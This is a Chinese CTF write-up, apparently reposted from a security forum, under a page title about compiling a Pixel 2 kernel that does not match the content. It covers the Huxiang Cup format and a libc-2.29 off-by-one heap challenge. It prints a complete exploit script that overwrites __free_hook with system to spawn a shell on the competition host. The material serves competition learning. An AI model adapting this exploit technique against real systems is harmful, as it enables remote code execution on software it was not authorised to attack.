编译内核(Pixel 2)
2019-11-30 12:34:22 Author: bbs.pediy.com(查看原文) 阅读量:268 收藏

分享一下湖湘杯的赛制

第一场渗透。
第二场就是CTF解题,所有人的靶机都一样的,采用登顶的模式,一轮之内,一道题只能有一个队伍得分,打通的队伍谁能真正维护好赛制中要求的文件信息,谁就可以得分。
第三场就是AI对抗,有AI对抗解题赛,还有人工智能挖掘漏洞机器人两个环节。个人觉得这个环节还是很新颖的,AI对抗解题赛还是没有什么可喷的,提交对抗样本;漏洞挖掘机器人感觉不太好实现,晚上只睡了两个小时瞎编的人工智障机器人跑都没有跑起来。

pwn2解题思路

首先别人有没有提前拿到题目我是不知道的,也不敢胡说八道,但我知道我肯定是没有提前拿到题目的(#^.^#),哈哈哈哈。

..

题目是libc-2.29的off_by_one,逻辑并不复杂,很好逆,那么重点就是漏洞利用。
限制了edit(off_by_one)+show的次数总共只能是两次,限制不能申请fastbin大小的chunk,而且是calloc()申请内存;但是他留了一个malloc(0x233)的后门,可以重复利用。
拿到题目刚开始就想到了balsn ctf的plain text,Ex师傅在博客介绍的绕过2.29 off_by_null的姿势;但是这里是calloc分配内存,所以行不通。
再一想hxb的决赛题也不会有那么难,就是用off_by_one改size+free fake_chunk形成overlapped chunk,然后改写tcache_list,利用malloc(0x233)的后门分配到__free_hook。

pwn2 exp

#https://github.com/matrix1001/welpwn
#-*- coding:utf-8 -*-
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    #context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './pwn2'
    ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.29-0ubuntu2_amd64'
    ctx.remote = ('172.16.0.195', 8888)
    ctx.debug_remote_libc = True

    ctx.symbols = {
        'node':0x4060,
        'limit':0x4010
    }

    ctx.breakpoints = [0x1656]#menu:0x1656

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(idx,size,content='\n'):
        sla('> ',1)
        sla('idx',idx)
        sla('size',size)
        sa('cnt',content)


    def delete(idx):
        sla('> ',2)
        sla('idx',idx)

    def show(idx):
        sla('> ',4)
        sla('idx',idx)

    def edit(idx,content='\n'):
        sla('> ',3)
        sla('idx',idx)
        sa('cnt',content)


    def hint(content='a'*8):
        sla('> ',5)
        sleep(0.1)
        s(content)


    rs('remote')

    #dbg()
    add(0,0x88,'a'*0x88)
    add(1,0x108,'a'*0x108)
    add(2,0x88,'a'*0x88)
    add(3,0x88,'a'*0x88)
    add(4,0x88,'a'*0x88)
    add(5,0x108,'a'*0x108)
    add(6,0x88,'a'*0x88)
    add(7,0x208,'a'*(0x100+0x60) + p64(0) + p64(0xa1) + '\n')
    #dbg()
    edit(0,'a'*0x88+'\x61\x04')
    delete(1)

    add(1,0x108,'a'*0x108)
    show(2)
    libc = ru('\x7f',drop=False)[-6:]
    libc_base = uu64(libc) - 0x1bfca0
    lg('libc',libc_base)
    free_hook = libc_base + ctx.libc.sym['__free_hook']

    #dbg()
    payload = 'a'*0x80 + p64(0) + p64(0x431)
    payload = payload.ljust(0x110,'a')
    payload += p64(0) + p64(0x101)
    add(8,0x150,payload+'\n')
    #delete(5)
    #edit(4,'a'*0x88+'\x41\x02')
    #delete(5)
    #dbg()
    #delete(3)
    delete(4)

    payload1 = 'a'*0x40 + p64(0) + p64(0x241)
    payload = payload1.ljust(0x150,'a')
    payload += p64(0) + p64(0x241)
    payload += '\n'
    #payload2 = 'a'*0x100 + p64(0) + p64(0x241) + p64(free_hook)

    add(4,0x1e8,payload)
    delete(6)
    delete(5)
    delete(3)
    #dbg()
    #add(3,)
    #add(3,0x1f8,payload2+'\n')
    payload = p64(free_hook)
    payload = payload.ljust(0x110,'\0')
    payload += '\x80\x48\n' 
    add(3,len(payload),payload)


    delete(7)
    delete(8)
    #dbg()
    add(7,0x80,p64(free_hook-0x25000)+'\n')
    hint()
    system = libc_base + ctx.libc.sym['system']
    hint(p64(system-0x25000))
    add(8,0x80,'/bin/sh\n')
    delete(8)

    irt()
这个题目当初做出来的时候应该是一血,还没有队伍来抢这个分数,得了几轮分数之后有其他师傅做出来了,直接把我踢下来了,连上shell之后也会被断开。大哥真的太狠了。一个题目只能有一个队伍得分,技不如人只能甘拜下风了。还要好好研究一下以后再有这种机会要anti一下。

最后

比赛有的地方确实需要吐槽,但是吐槽也顶不了什么用,有的地方也有可取的地方,比如CTF的登顶模式真的很有趣(虽然被大哥直接无情踢下来),最后的AI解题提交对抗样本也不常见,感觉有意思;不过最后的机器人:人工智能挖掘漏洞+exp利用(应该是针对比较简单的pwn)到底是怎么做的呢?非常想知道。希望大佬们告诉我一下,我学习学习。

[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2天前 被iddm编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-255856.htm
如有侵权请联系:admin#unsafe.sh